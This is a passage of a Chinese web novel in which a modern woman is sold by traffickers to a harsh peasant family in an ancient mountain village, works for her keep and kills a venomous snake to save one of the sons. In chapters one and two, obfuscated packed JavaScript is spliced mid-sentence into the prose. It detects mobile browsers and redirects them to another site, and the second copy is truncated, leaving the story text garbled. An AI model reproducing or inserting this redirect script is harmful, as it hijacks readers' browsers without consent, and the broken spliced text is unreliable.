《古代山村求生指南》 1. 第一章 大山苍翠,连绵起伏,像是数条横卧的长龙伸展开来。 恢弘且令人恐惧。 赵榆抬头注视着包围着自己的大山,鼻头有些发酸,一直压抑的绝望似乎就要涌上来。 “你在磨蹭什么?还不快将菜洗干净下锅,若是耽误家里午食,直接将你发卖了。” 尖利的斥骂声从身后传来,赵榆被吓住,打了个惊颤。 她不敢再耽搁,连忙低头,继续手里的活计,将菜叶子扒开,用清水洗净。 她不能再被卖了,如果再次被退回到人贩子手里,她可能没机会活着。 想到那些人贩子,赵榆胳膊上的鞭痕越发的痛。 这家是第二个买主,以四两银子将她从人贩子手里带回来。 在被第一个买主退货后,赵榆再次回到人贩子手里,被退回去的人地位更加低贱,不说一口稀粥,就连一口水都讨不到。 赵榆没有价值,就只能被当成畜生对待,听到他们想把她卖到妓/院,她压下恐惧,终于寻了个机会跑了出去。 可连日吃不饱,头昏腿软,没逃多远就被抓住,马鞭发狠的甩在身上,痛的她恨不得死了算了。 她不明白为什么自己只是睡了一觉,怎么什么都变了,她熟悉的车水马龙不见了,出现在眼前的是一个个打扮陌生又凶狠狰狞的人贩子。 如果可以重来她不会趁着放假去旅游,不会信网上的那些帖子,去偏远的大山里度假,这一去,她再也回不了家。 赵榆将菜装进菜篮里,起身,又看了眼距离极近的大山,狠狠眨了几下眼睛,将热气眨下去,这才快步将东西送进厨房。 “方嫂子,菜我洗好了,”我搁这了,赵榆话还没说完,就被灶上忙活的年轻妇人不耐烦打断。 “一小篮子菜洗个半天,不知道地里干活的人快要回来了吗?难不成因为你,他们忙活半天回来还要空着肚子歇晌?” 赵榆看了眼锅里还半生不熟的菜,抿唇没多话,只低声道歉,“下次我一定手脚麻利。” 方春梅冷笑一声,“你最好干活利索,再有下次,人牙子可得上我们家的门。” 赵榆听出对方话语中的威胁,心中惶恐又一次溢出来。 不干活或是干不好活,她会再次被卖给人贩子,赵榆清楚,这家主人也多次重申这点。 下意识的紧了紧掌心,赵榆低头应了一声,见她没了吩咐,这才转身出去。 这家不是富裕的人家,厨房不大,显得拥挤,除了灶头忙活的人,再多一个就会碍事,赵榆看出方春梅眼中的嫌弃,不敢在里头多待。 刚出了灶房,迎面碰见从主屋出来的周婆子,她虎着一张脸,身材厚实,显得壮硕,一看就知道不是好惹的。 的确不好惹,否则也不会以四两的银钱将赵榆从人牙子手里买回来。 毕竟前头的买主买赵榆回去时可是花了整整六两,这一下让人贩子低了二两赚头,这周婆子竟是有胆量去压这个价。 赵榆不是个胆大的人,直面周婆子更是心微紧。 一是这人不好相与,哪怕自己在这个家还没待满两天,也看的出来这老太太脾气十分不好; 二是她是这老太太买回来的,这人是能做主的人,不仅可以买她,也可以再卖了她。 赵榆咽了咽口水,牵了牵唇角,轻声道:“周婶,菜已经洗干净了,可还有什么活要干?” 周婆子无甚感情地瞥了她一眼,“洗几棵菜用半刻钟,你这是想饿死谁?” 一看见她,周婆子就想起花出去的四两银子,四两啊,他们家存了许久才存下来的,就这样给花光了。 想到银钱,周婆子又悔又气,语气当然好不了,“眼里有活,处处都是活干,还用得着问我?鸡猪不用喂?院子里的落叶不用扫?柴不用劈?到处都是活,就你眼瞎?” 赵榆不敢再多说一个字,连忙小跑着去拿角落的扫帚,在对方的眼皮子底下,将院子仔细地扫干净。 地扫完之后,又去喂了家禽,随即转身拿上斧头去劈堆在一起的柴火,这些柴有细有粗,细的可以直接掰断烧火,但粗的必须得用斧头劈开。 赵榆盯着足有小腿粗的柴,深吸一口气,伸手就近拿了一段出来,想要竖着放好,可一连几次这柴就是站不稳,急的她额头直冒汗,就怕不远处盯着她的人不满。 好在五六次之后,她终于将柴段立住,紧了紧手里的斧头,赵榆举起手,猛地将斧头甩下去。 啪! 她用足了力气,若是斧头落在柴上还好,很大可能将这截柴劈个口子,只是可惜的是,她准头有偏差,斧头最后落在了下头的木头上。 赵榆小心看了眼房檐下的周婆子,连忙想要将斧头重新举起来,只是刚刚那力道让斧刃陷进木头里,一时间很难拔出来。 赵榆脸上发热,又慌又急,试了好几下,额头的汗缓缓滑落到下巴处,终于,她咬紧嘴唇,再次使力,那斧头总算被拔了起来。 她受不住力地往后退了好几步才稳住身体。 院门这时被推开,这家的周老汉带着儿女从地里干活回来了。 周婆子听见声,总算将目光从赵榆身上移开,估计是被对方干活的样子气到,她问出的话难免带着些火气,“回来了,地里的谷子长的怎么样?” 周老汉长的瘦长,因常年在地里刨食,皮肤黑黄的紧,他话不多,被问了,也只应了一声,简略答道:“还行。” 周婆子见他这个死样,脾气越发的压不住,“你这嘴是被针缝了?多说一个字能疼死你?长嘴不说话,还不如是个哑巴!” 周婆子骂习惯了,周老汉听了也不新鲜,将锄头靠在墙角,径直进了屋盛了凉水解渴。 周家的几个儿子不意外老娘时不时的数落,放下手里的农具,自然的跟着进屋喝水,等着进食。 周青也就是周四郎,家中最小的儿子,受不住饿,两碗水下肚就嚷着要吃的,“娘,吃食呢?干了半天活我都快饿死了。” 周婆子闻言,转头朝着灶房,大嗓门地喊道:“老四家的,你家男人都要饿死了,你还舍不得将饭菜端上桌?” 她话刚落,方春梅立即端了盘青菜进屋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273261|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面色不好地道:“饿肚子可怨不得我,这餐如果不是我放快速度,你们还有得饿。” 说完,意有所指道,“也不知道屋外那个买来有什么用?干活不利索,还耽误事。” 周麦,周家人唤二丫,是家里的小女儿,听到这话也哼了一声,“还花光了家里的四两银子,有这钱还不如买头牛回来,还能耕地呢。” 她一边说着,一边捶着两条胳膊,锄草实在太累了,太阳又大,她面皮又晒黑了,吃完饭她可不想再去地里,该让外头的那人去,买回来就得多干活才对。 周婆子哪能不知道这二丫头在想什么,瞪眼道,“牛和人谁的胃口大,你想要牛给你犁地,以为喂喂青草就行了?” 她恼小女儿什么都不懂就乱动嘴皮子,“再有,谁说四两能买头牛的?不说壮牛,就是牛崽子没有五六两,你都别想牵回来。” 周麦不服气,“那你就不能将银钱再存存,等银子够了,再用来买牛?” 周婆子:“银子是那么好存的?你可别忘了,咱家还欠别人十四两呢!” 这外欠的十四两让屋里几人心情都沉重了几分。 周麦撇嘴,“那你买她有什么用,干不了多少活,还多张嘴吃饭!” 周婆子被气的深吸几口气,这人买回来自然有她的用处,不耐地挥了挥手,懒得和她多说,“拔几棵草就要死要活的,赖着不动作什么?还不去将你侄子叫回来吃饭。” 周麦累的很,根本不想动,但又害怕被骂,只能边起身边不满道:“吃饭还用叫?真够麻烦的!就不能让外面那人去叫,偏让我去,我不累么?” 周婆子瞪眼,伸手就要拍她。 周谷站起来,不好意思地开口,“娘,别麻烦小妹了,我去叫大牛。” 不等周婆子开口,周麦不客气地止了他的动作,“得了吧,二哥,你还是坐着吧,娘都命令我了,你现在多说这么一句话有什么用?” 说完看也懒得看周谷,直接出了屋子,带着火气的大步往院门走,眼睛不善地扫了眼还在劈柴的赵榆,冷哼一声。 哼声传到赵榆耳里,她举斧头的动作一顿,抬头看过去,只看到一片衣角。 虽没看清脸,但听这声不难猜到是这家的小女儿,十四五的年岁,脾气骄纵的很,看自己的眼神也格外不友善。 赵榆抿了抿唇,没再多想,这个家里不喜欢自己的人不止这一个,只要自己能讨周婆子喜欢,她就能继续留下来。 而让周婆子看她顺眼,只有多做活。 想到这里,赵榆深吸一口气,猛的将斧头甩下去。 啪! 正中柴的截面。 虽没劈开,但好歹又一次劈准了。 几次使力后,这段柴火终于被劈成两半。 听到外头传来的劈柴声,周婆子往外看了一眼,恰好看见被劈开的两半柴,刚刚被引起的火气和压在心里的悔意一时间消了不少。 瞧着瘦的很,力气还是有些的,至少还能把柴劈开,不算太糟糕。 周婆子安慰着自己,心里总算舒服了一些。 2. 第二章 不多时,周家的孙子,名叫大牛的小子被周麦领了回来。 周麦先进了院子,隔了好一段距离,大牛才垂头啜泣的跟在后头进来。 赵榆远远瞧着,那才五六岁的小孩脸上红了一片,像是被扇了巴掌。 周麦不理人,进了屋就坐在凳子上拿了筷子就要夹菜吃。 周婆子皱眉,正要问她大牛呢,就见孙子出现在了院门口。 走的极慢,有气无力的。 周婆子眉头一跳,见不得这像是没吃饱饭的样子,骂道:“吃的米都吃到狗肚子里了?一双腿都迈不开了?要不要我用棍子来敲你两下?” 大牛一听抹了抹眼水,迈着短腿小跑起来,等进来屋,才哽咽的叫了声“奶”。 周婆子听着他的啜泣声,又眼尖地看清他脸上的手指印,顿时深吸了一口气,转头就对着周麦骂起来,“你这个懒蹄子,我让你去喊他回来吃饭,你又打他作甚?” 周婆子见她一个劲的往嘴里塞菜,“吃吃吃,怎么不噎死你算了!” 周麦翻了个白眼,语气不好地道:“这么几夹子菜,我想被噎都不成。” 桌上只有三碟菜,全是菜叶子,被炒的颜色发黑,样子十分不好看。 但村里各家饭头都是这样的把式,大家也都吃的习惯。 尤其是现在这时候,眼见着快要秋收,菜地了能吃的没几样,都是些绿菜叶子,掐个几样随便翻炒一下,就是一碗菜,也不需要用油。 滋味说不上好,但总能搭配着粗粮填肚子。 庄稼人觉得十分正常,只是可惜这个季节没有春天多野菜,否则提着篮子去挖些野菜也够家里这些人吃。 而不是像现在这样看着是三碗菜,却是不够夹,这么多张嘴,一人一筷子,就没得剩下。 所以,周婆子见周麦一口接着一口的夹菜,气都不打一处来,于是一巴掌拍在她又伸过来的手上。 周麦疼的吸了口气,想发脾气扔了筷子不吃,但肚子现在还空的,舍不得离开饭桌。 方春梅早在周麦第二次夹菜时,就不高兴地暗暗翻白眼,手速极快的给自己夹了满满一筷子菜,又用眼神示意丈夫周青快夹,别被别人把菜抢光了。 周青饿的很,也不满小妹夹那许多菜,都不用方春梅再使眼神,他就已经伸了筷子。 周老汉见一盘菜都快空了,也没有指责的意思,只道,“吃吧,吃完还得去地里呢。” 周谷点头应声,等周老汉夹了菜之后,才跟着夹了一筷子放进儿子大牛的碗里,低头见儿子脸上红印子还没退下去,抬手抚了抚。 但因手上茧子厚,抹的大牛眼泪差点又下来,周谷立即停了手,不敢再碰。 桌上大家都动了筷子,周谷也饿,但因心里还记挂着事,便拿着筷子没动,看向对面的周婆子。 周婆子嚼着饭,瞥了一眼二儿子,不耐烦地挥了挥手,周谷立即高兴地又夹了一些菜,这才起身离了桌子。 方春梅暗瞅着周谷捧着碗筷离开,怨愤的直撇嘴。 她炒的菜煮的饭,倒是便宜了那婆娘,不用干活,躺在床上都有人送饭到嘴边。 周老汉估计也是饿着了,只夹了少许的菜,便吃下一碗饭,咂了咂嘴,并没有多饱,但他不打算再去盛饭。 一天的粮食是有数的,这餐如果吃多了,必定会影响下一餐。 家里毕竟有这么多张嘴,粮食得省着吃。 不知想到什么,周老汉问道:“大郎去镇上得有半个来月了吧,那财主家的祠堂翻新需多少时日才能完工?” “问这做什么?”周婆子巴不得那财主家活计多的做不完,这样大儿子还能为家里多挣几文钱。 周婆子:“那财主还能少大郎几口粮?即便没什么油水,两个馒头加上一碗不算稀的粥水也是顶好的了,不比家里差。” “多做几天活,还能为家里省些口粮,这可是难得的活计。”恰好赶在了秋收之前,家里的存粮所剩无几,少张嘴吃饭,余下的粮食能够家里多撑一天。 周老汉怎么能不懂,家里的粮食有多少他比任何人都有数,大儿子能在这时候找到提供饭食的活计,十分难得。 这也多亏了大郎有些手艺,虽抵不上老木匠,但刨木头还是熟练的,否则他那情况财主又怎么可能看得上。 想到大儿子周田,周老汉忍不住叹口气。 周婆子听到他的叹息声,知道他在担心什么,“行了,翻新祠堂三十来天也就差不多了,再过个十多天大郎估计能回来。” “老朱家的儿子不是一同去了?他会照看大郎几分的。” 最后一句话倒是让周老汉放了些心,有村里人在,大郎还能有个伴。 “爷,奶。” 一声稚语传过来,周老汉看过去,应了一声,侧目扫了一眼周谷身后的房间,习惯性地问一句,“你媳妇好些了吗?” 周谷如往常一样点头,“好些了。” 周老汉点了点头,次次问,次次得到的都是这个回答。 周婆子看了眼二儿子怀里的小孙子,瘦的像是吃不到奶饿着肚子的狗崽子。 谁都喜欢白胖的东西,尤其是家里的小孩子,眼见着孙子又瘦又小,周婆子脸上哪能有笑脸。 转头看向四儿媳妇,“我让你蒸的蛋羹呢?端上来。” 家里就养了四只母鸡,两只还停了蛋。 蛋存了是拿来卖的,一天就两个,还要拿出一个来蒸给这小子吃,方春梅怎么舍得。 她支吾着没动作。 见周婆子已经拉长脸了,才不得不开口道:“我忘了,被外头的那人耽误,我一心赶着饭食,倒是将蒸蛋的事忘了。” 周婆子盯着她不作声,方春梅心一跳一跳的。 半响,周婆子才不容反驳的吩咐道:“晚食将蛋蒸上,再忘了,你饭也别吃了。” 方春梅张嘴还要说什么,对上周婆子的眼神,只能将拒绝的话吞咽下去。 晚上还蒸什么蛋,就不能省下来? 方春门心里不痛快,看那两岁的小子都觉得碍眼。 等全家人都吃好,周婆子搁下碗,见外面劈柴的声音虽断断续续,但一直没停下,想了想,让方春梅揉一个饭团送到外面去。 方春梅不乐意,“哪还剩饭团给我揉?煮的粮食都是正正好的,没得多。” 周婆子见这四儿媳一直顶嘴,气的猛地一拍桌子,“她不是人吗?家里多了一张嘴,你这猪脑袋就不会想着多煮一点?” 方春梅吓一大跳,“每天的粮食都是有数的,真……真没得剩下……” 周婆子:“锅巴总有吧,你日日贪嘴,将锅巴吃的一点不剩,今天开始,你再敢吃这一嘴,你就将口粮省下来。” 口粮和锅巴二选一。 方春梅每每都独享锅巴,即便不是一整个,也能吃上大半,谁让煮饭的是她,吃下了肚谁还能从她嘴里挖出来不成。 可这次周婆子明着警告她不许在碰锅巴,方春梅觉得心都疼的紧。 这婆家真真抠门,方春梅心里恨恨的想着。 赵榆劈柴的动作虽没停下,但心里仍旧担心屋里的那些人会不会将她忘记了。 那周婶子应该会留些吃的给她吧? 这院子不大,劈柴的地方说是在角落,其实离那堂屋也没多远,赵榆一边流着汗一边听着那些人吃饭的动静。 早上只有一碗稀粥,赵榆又喝了大半碗凉水才觉得有几分饱,然而没坚持多久,肚子就空了下来。 并且这半天时间她根本不敢歇,洗衣、切猪草这些杂事,她都做的仔细。 肚子空荡荡,仅有的一丝力气在劈了几根柴后,也消了个干净。 现在她手软无力,之前还能举起的斧头,这次是怎么都举不高了,好不容易有了几分感觉的准头又开始偏差…… 赵榆不得已放下斧头,用它支撑身体。 呼呼的喘着粗气,感觉整个人都要倒下。 赵榆看向堂屋,听着碗筷轻磕的声音,心里不断祈求一会儿自己也能得一口吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵榆被吓的一颤,转过头。 这一看,就被对方手里捧着的锅巴吸走全部注意力。 锅巴很完整,底部圆溜溜的,是完美的“锅形”。 赵榆嘴唇抿了又抿,盯了一会儿锅巴,这才看向方春梅,理智回笼,唤了一声方嫂子。 这一声称呼,声音不大却怀着讨好。 不知道对方有没有听出来,但赵榆明白这一刻她十分卑微。 太饿了…… 她无比希望自己能从对方手里得到这片锅巴,哪怕被施舍也可以。 但看方春梅毫无变化的脸色,显然她没听出来,甚至因为赵榆的这声称乎,更加惹她嫌弃。 “谁是你嫂子,咱们可无亲无故。”年纪轻轻,还真会攀亲戚。 方春梅很不待见她,手里的锅巴她扔猪圈里都不想给眼前这个人,可最终她只敢这般想想,并不敢真扔猪圈。 “你到底吃不吃,我忙着呢,没听见猪大叫着找我要吃的?” 猪圈的猪的确在哼叫,赵榆不知道她这话是真的在指猪,还是在骂她。 或许是后者,但她现在顾不上。 赵榆搁下斧头,快步过去,双手接过。 不等她道谢,方春梅看着被拿走的锅巴,冷哼一声,骂了一句“饿死鬼投胎”转头就走。 赵榆低头看着手里的锅巴,鼻尖凑近闻了闻,很香,还带着一丝热气。 赵榆忍不住扯唇一笑,张嘴就咬了一口,虽然米饭被剐的很干净,锅巴只有薄薄的一片,但味道是真的好,又甜又糯。 她现在的胃口可能真的就像饿死鬼,等不急继续细细品尝,便不停的往嘴里塞,不多会儿,就将锅巴全咽了下去。 不够,她还是饿。 看了眼因干活而脏黑的手,右手食指上还粘着一颗饭粒,赵榆眨了眨眼,最终还是将手指伸进了嘴里,用牙齿将饭粒牵下,嚼了嚼咽了下去。 为了下午干活有劲,转身又去水缸盛了一瓢凉水喝下去。 水不止能解渴,还能填胃。 3. 第三章 吃完午食没多久,周老汉又扛起锄头带着两个儿子下地。 赵榆拿起斧头打算继续将这堆柴火劈了,就被周婆子要求跟着一起去。 赵榆刚刚听见屋里传来几声吵嘴,约莫是这家小女儿不愿意顶着太阳出去干活,于是换成她。 赵榆应了一声,忙接过一把柴刀,在周麦笑盈盈的目光下追了出去。 太阳很烈,没跑几步,脸皮已经开始发热。 好在他们没走多远,拐了一道弯便追上。 周老汉没在意身后跟上来的人,倒是周青转头看了一眼,见是她,有些嫌弃地撇了撇嘴。 赵榆当作没看见,默默的跟在他们后头。 周家的菜地地势比较高,沿着小路爬了几个坡才到地方。 这片地,不止周家的,还邻着其他几家。 周老汉和周边干活的村里人打了声招呼,便一刻不停地挥起锄头翻地。 赵榆看了眼光秃秃的、既没什么菜也没几棵草的土地,不知道她该干什么。 锄头就两把,没有一把在她手里。 至于手里的柴刀,是那周婶让她带的,可现在用的上吗? 赵榆顶着周围那些人时不时看过来的目光,努力寻找自己能下手的地方。 视线扫过空着手的周谷,赵榆想了想便跟着他去了旁边杂草丛生的荒地。 没等她询问,就见对方已经弯腰开始双手拔草。 赵榆一愣,看向这片荒地,不仅草长得茂盛,其中还长了好些不大的杂树。 如果要将这片荒地开出来,并不是一件容易的事。 “你还不干活?吃了我家的饭,竟还想着躲懒?”周青对家里花了全部银钱买了个小娘们回来,心里存了气。 加上自己婆娘多次私下埋怨这买回来的人不堪用,周青更觉的吃了大亏,心里不经有些责怪娘,这样的大事竟然不和家里商量就做决定。 也不知道她是怎么想的! 不止周青疑惑,村里人其实也好奇。 离周家菜地近的,正在干活的郑婆子暗瞅了眼远处背对着这边的赵榆,着重看了眼腰臀,只一眼就不屑地抖了抖眉眼。 这周婆子瞧着精明相,眼光却差的很,买回来这么一个女娃娃,别又是一个不好生养的。 虽是这么想,但郑婆子抬起脸来时又是一副和善面孔,对着周老汉问道:“你家领这小姑娘回来,是打什么主意呢?” 周老汉翻地的动作不停,淡淡回道:“没啥主意,我家老婆子瞧她可怜,就从外头将她带回来了。” 这是周婆子一早就交代好的,说如果有人多嘴问,就这么回话。 郑婆子心里嗤笑,没说信不信,只笑着道:“原是瞧着可怜啊,我还以为是领回来给你家大郎作媳妇的呢。” 说完,她定眼注意周老汉的表情,试图看出点什么,然而都是徒劳。 对方黑黄的脸上,丁点反应没有,只顾着脚下的土地。 赵榆不知道不远处有人将话题落在自己身上,她此刻已经埋头苦干起来。 那周婶的四儿子一双眼睛像是长在她身上,盯住她不放,决不允许她少拔一棵草。 太阳照射,土地都晒得发烫,赵榆蹲在地上整个人都被地里的热气熏的直喘气。 但即便如此,手里的动作也没停。 一旁同样在拔草的周谷速度快,连带着赵榆干活都快了几分,虽然又热又累。 很快这小片土地被拔了个干净,赵榆站起身跟着周谷又换了地方。 她转头想看看周青是不是还再盯着自己,不曾想,竟然在角落的一个小树荫下发现了他。 那柄锄头也被他垫在屁/股下,供他坐的舒服。 至于他锄的那片草,瞧着是面积大,但那些草根还埋在土里,只要一场雨,这草根必然会继续冒芽。 赵榆看向面朝黄土不停拔草的周谷,既同情他,也同情自己。 这草长的粗壮,草面也锋利,拔了这会儿,手上已经被划了好几道口子,火辣辣的。 而仅有的工具她不仅用不上,还被人用来垫着休息…… 赵榆沉默一瞬,试探的喊了声“周二哥”。 周谷闷头干活,听见声也没反应过来,直到第二声才茫然地回头。 见对方似乎有些紧巴,周谷咧嘴一笑,露出一口白牙,声音厚实道:“妹子,有事你说。” 他这不同于周家其他人的态度,让赵榆惊讶的同时,也微微松了一口气。 “周二哥,我瞧着这片荒地野草长的实在壮实,那些根扎在地里紧紧的,这一拔,不一定会把那些草根全部带出来,不如借用一下周四哥手里的锄头,方便将这些草全锄尽?” 赵榆说的委婉,即便对方看起来貌似很憨实,她也尽量将话说的好听些。 周谷看了眼被他拔的那些草,点了点头,觉得她说的在理,但两柄锄头都不在他手里…… 周谷擦了擦汗,有些为难。 他用手拔草其实也不耽误事,若是有草根拔不出来,用手指抠一抠,也不妨事…… 看出他的迟疑,赵榆也不打算强求,但这片荒地不小,有工具不用,是不是不太明智? 赵榆:“周四哥在歇息,锄头正空着呢,若是拿来用一用,也能早些将地开出来。” 周谷顺着她的视线看向在树荫下休息的周青,见他屁/股下正坐着锄头,便松了手里的草,应声道:“我去找四郎拿,锄头还是比手好用。” 赵榆望着他的身影,确定这是个老实人。 自己的兄弟躲懒他不生气,眼里只看得见那柄锄头。 赵榆时刻注意那边,虽没听清全部,但那周青一副被打扰的不耐,还是让她猜到这锄头拿的不顺。 等赵榆又拔出一小块地方,周谷终于扛着锄头回来了。 赵榆观察他的神色,一脸喜意,全然不像刚刚被兄弟数落了的模样。 见此,赵榆也没多问什么,只要能将锄头讨来就行。 这锄头无论是两人之间谁用,她都能少拔一些草。 不过,当周谷将锄头递给她的时候,赵榆也没有推辞。 谁用不是用,多锄几锄头,就能少晒些太阳。 因担心锄头一会儿就会被拿走,赵榆锄草的速度尽量放快,锄头一下接着一下,挥的很卖力。 直到两条胳膊酸的厉害,这才放缓了动作。 一直想着锄头用不了多长时间, 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然而,虽是这般想,可农汉子们也担心会被热气袭上,晕倒倒还好,就怕坏了身体,不仅要花钱吃药,家里劳力也会少一个。 要知道能干活的壮年汉子关系着家中的生计,少了一个,一家老小都有活不下去的可能。 所以,地里刨食的人最不惜命,也是最在意命的。 因此,周谷见着赵榆脸上通红一片,忧心得很。 赵榆也有些受不住,农活她不是没干过,只是像今天这种程度的,属于超过她的承受能力,还是在饥饿的情况下。 中午喝的一瓢水全变成汗,蒸发了个干净,现在她再次感觉到手软脚软。 见周家人主动让她歇一歇,赵榆立即点头应下。 不到半天,这片荒地已经被清理了大半,赵榆累的没有多余感觉,反倒是周谷挺惊奇的。 以为少了四郎这个帮手,这片地他自己要花个两天左右才能开出来,然而现在瞧着,似乎不用一天这荒地就能翻出来。 一直以为这姑娘该是和小妹周麦一样,只能打打下手,活计方面是不能指望的,没成想这人看着瘦弱,却是个实干的。 但因着周麦时不时在做活的时候嚷着要歇息,让周谷觉得和周麦一般大的赵榆也不能做太重的活。 于是,在他再次弯腰拔草时,好心的劝对方再多歇会儿。 赵榆点了点头,她气还没喘匀,暂时还不想继续挥锄头。 想着还是坐下舒服,左右瞧了瞧,地上又是蚂蚁又是爬虫,前面还没处理的半人高的草还时不时的振动一下,赵榆就歇了席地而坐的想法。 还是站着安全些。 赵榆杵着锄头,站在一旁看周谷一手揪住一把草往外拔,正当她想要转开目光时,视线一凝。 这草…… 没等她判断出什么,就见周谷又一次向草丛里伸手…… 赵榆瞪大眼,禁不住发出一声惊呼。 “小心!” 周谷被吓住,但因反应慢,没来得及停下,仍继续向前伸手。 等他回过神,那黑色的东西已经扬着脖颈,即将咬上他的手指头。 周谷瞪大眼,黝黑的面上一片惊惧。 4. 第四章 正当他以为躲不过去时,一把锄头突然砸下来,银白色的锄头刃狠狠的斩断那黑蛇的头下几厘。 没了身体支撑的蛇头张大着嘴掉落在地上,颌部一张一合的,带着几分恐怖。 更令人不适的是那没了蛇头,依旧生机十足的蛇身。 摆尾、翻滚、颤动,从这处动到那处,留下一条条的血迹。 赵榆头皮发麻,打了个颤,受不住地跑开,独留下反应迟缓的周谷在那盯着蛇头一动不动。 赵榆刚刚的惊呼声,惊动了那边的周老汉,他抬头往这边瞧,想了想,搁下锄头,往这边来看看情况。 一同被惊醒的还有树下的周青,因睡得不是床,倒还残存着几分意识,因这一声惊呼,他不仅醒了,心肝还被吓得一震。 这让他十分冒火,想也不想对着那边吼道:“是见到了屠夫还是怎么着,年猪都没你叫的响!” 赵榆还沉在自己竟然杀了一条蛇的惊骇中,对于身后传来的脏言根本没听进耳里。 倒是将蛇头看了一遍又一遍的周谷,缓过神来,听见四郎这骂人的话,忍不住解释道:“四郎,赵妹子锄死了一条毒蛇,你万不能骂人家。” 周青冷哼,不屑低语:憨子竟然数落起他来了,还真是胳膊肘往外拐。 与周青不同的是,周老汉听说是一条毒蛇,迈的步子都快了不少。 神情严肃地问道:“可有被那毒牙咬到?”他望向周谷,也不忘看了眼一旁的赵榆。 赵榆对上他的目光,连忙摇了摇头。 周谷也表示未被咬到,不过还是将刚刚的危险说了一下,但他嘴笨,描述的不具体,也不精彩。 不过周老汉还是从他的话中听出是婆娘买来的小姑娘救了他。 周老汉随着二儿子指的方向看过去,就见黑鳞中夹着斑纹的蛇头静静的落在地上,那分叉的舌头还不时的吐露出来。 瞧着似乎还能将人咬上一口。 周老汉往上几代都生活在这里,对这边的情况熟悉的很,毒蛇在这边只多不少。 尤其是他们村子坐落在山脚下,被成群的大山环绕,这物种更是多到数不过来,不过它们几乎不出山,两方也一直平安无事互不打扰。 唯有这蛇隔断时间就会碰上一条两条。 不是没有馋肉的想要捕捉,但蛇都精明,无毒的躲着人,有毒的不敢捉,甚至还要防着它咬上你一口。 几年前就有人大着胆子满山脚寻蛇,错把有毒的当作无毒,被咬了一口也没当回事,以为肿几天就会恢复,没曾想当天晚上人就没了。 周老汉还特意去瞧过,那人可怖的很,又黑又紫的,腿上被咬的两个血洞也溃烂的让人看了直犯恶心。 由此可见,那蛇毒性真真是强烈。 自从那时之后,山脚寻摸的人少了,没那个胆子和能力的人再不敢贪那一口蛇肉。 周老汉认出这是条叫“灰颈子”的蛇,毒的很,这要是被咬一口,他这二儿子也就完了。 周老汉为儿子捏把汗的同时,也忍不住庆幸。 幸好,幸好啊。 他让周谷将蛇头挑到远处埋了,再在上头压一块大石头,确保蛇头出不来。 吩咐完,他转身看向赵榆。 干瘦的农家老汉不会说一嘴的漂亮话,半响之后,才诚恳道谢,“小姑娘,真是多谢你了。” 赵榆抱紧锄头,忙摆手,示意不用这般客气。 她自己也没想到,在蛇头竖起的瞬间竟然会拿锄头将其斩断。 这是瞬间的事,她都没想到自己会有这个胆量。 明明她最怕的就是蛇,不说反击,见到了她只会吓得走不动道…… 赵榆瞥了眼还在扭动的蛇身,默默在心里感叹真是菩萨保佑。 不仅胆大的杀死了毒蛇,还救了周家的二儿子,让他们家承了自己一份情。 这对自己确实是好事。 若是能用这份情换来一顿饱饭,赵榆想想都觉得满足。 周谷处理完蛇头回来,瞧着地上的蛇身,想也不想地捡起来,任它缠住自己的胳膊,对着周老汉道:“爹,这蛇我们拿回去煮粥喝吧,用来补身体可好了。” 周老汉点点头,瞧着儿子手里的蛇,还挺粗壮的,差不多四五斤。 一年到头吃不了几口肉,这次得了这么一条蛇肉,哪有不带回去的道理。 惊吓过后,周老汉此刻瞧着这没头的蛇,也觉得心情好。 蛇肉啊,难得的很。 又干了一阵活,直到天色差不多了,周老汉才擦了把汗,决定回家。 听见可以回去,赵榆也松了口气。 她现在不仅饿,还很渴,喉咙都干涸的刺挠起来。 正要将锄头往肩上扛,手里突然一轻,周谷笑的憨厚,“锄头我来扛。” 说着,又要去捡地上的蛇,然横插进来一只手先一步将蛇抢走。 周青将蛇拿在手里,又摸又看的,满脸喜意道:“这蛇不小啊,能炒一大盘肉了。” 周谷没拿到蛇,也不在意。听到这话,跟着一阵点头。 肉是不少,不止大牛二牛能吃上一口,他婆娘也能分到一些。 估计是为了今晚能吃到肉,周青独自大步的走在前头,远远的将剩下的三人甩在后面。 等赵榆他们到家时,那蛇已经被剥了皮。 院子里不见周婆子,只有方春梅蹲在那边不知洗刷着什么。 赵榆望了一眼灶房,在里头看见正大力剁着蛇肉的周婆子。 赵榆了然,蛇肉来之不易,周婶打算亲自处理。 顾不上想太多,她已经渴的厉害,朝着灶房外的水缸快步走去,拿起水瓢就大口吞咽。 微甘的凉水不断顺着喉咙滑下,赵榆整个人都像是活了过来。 精神稍足,她这才注意到角落的柴火堆。 那被劈开的柴火好似只比她离开时多了一点。 赵榆有些犹豫,这是不是周婶留给她的活计?自己要不要再去劈柴? 可她现在真的没什么力气了…… 正不知道如何是好时,正要去解渴的周老汉阻止了她,“锄了半天的地也累了,歇着吧,那堆柴让四郎去劈。” 没等赵榆张嘴,一旁的方春梅听着了,不太高兴地道:“爹,你怎么就让周青一个人干?他也干了一天的活,怎么只让别人歇,不让他也跟着歇歇?” 不忘补充一句,“他可是你儿子。”你不心疼自个儿儿子,反倒对着个外人这般好作甚。 周婆子已经将蛇肉下锅,恰好擦着手出来,听见这话,气不打一处来,“你心 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她停下手里正在处理的蛇皮,张嘴就想将劈柴这事推出去,“娘,你可不能这么偏心,都是帮爹干活,怎么二哥能歇,周青还得劈柴?” “再说,今天周青可显了一番能耐,轻松不得,娘不说些好听的,怎还跟惩罚人似的?” 见她没完没了,周婆子气的不行,双手叉腰就要开骂。 这时周老汉开口,“四郎没累着,多做点活不妨事,”转头又对周婆子道:“二郎和这小姑娘倒是辛苦,开出了大半的荒地,一会儿多给他们盛点饭。” 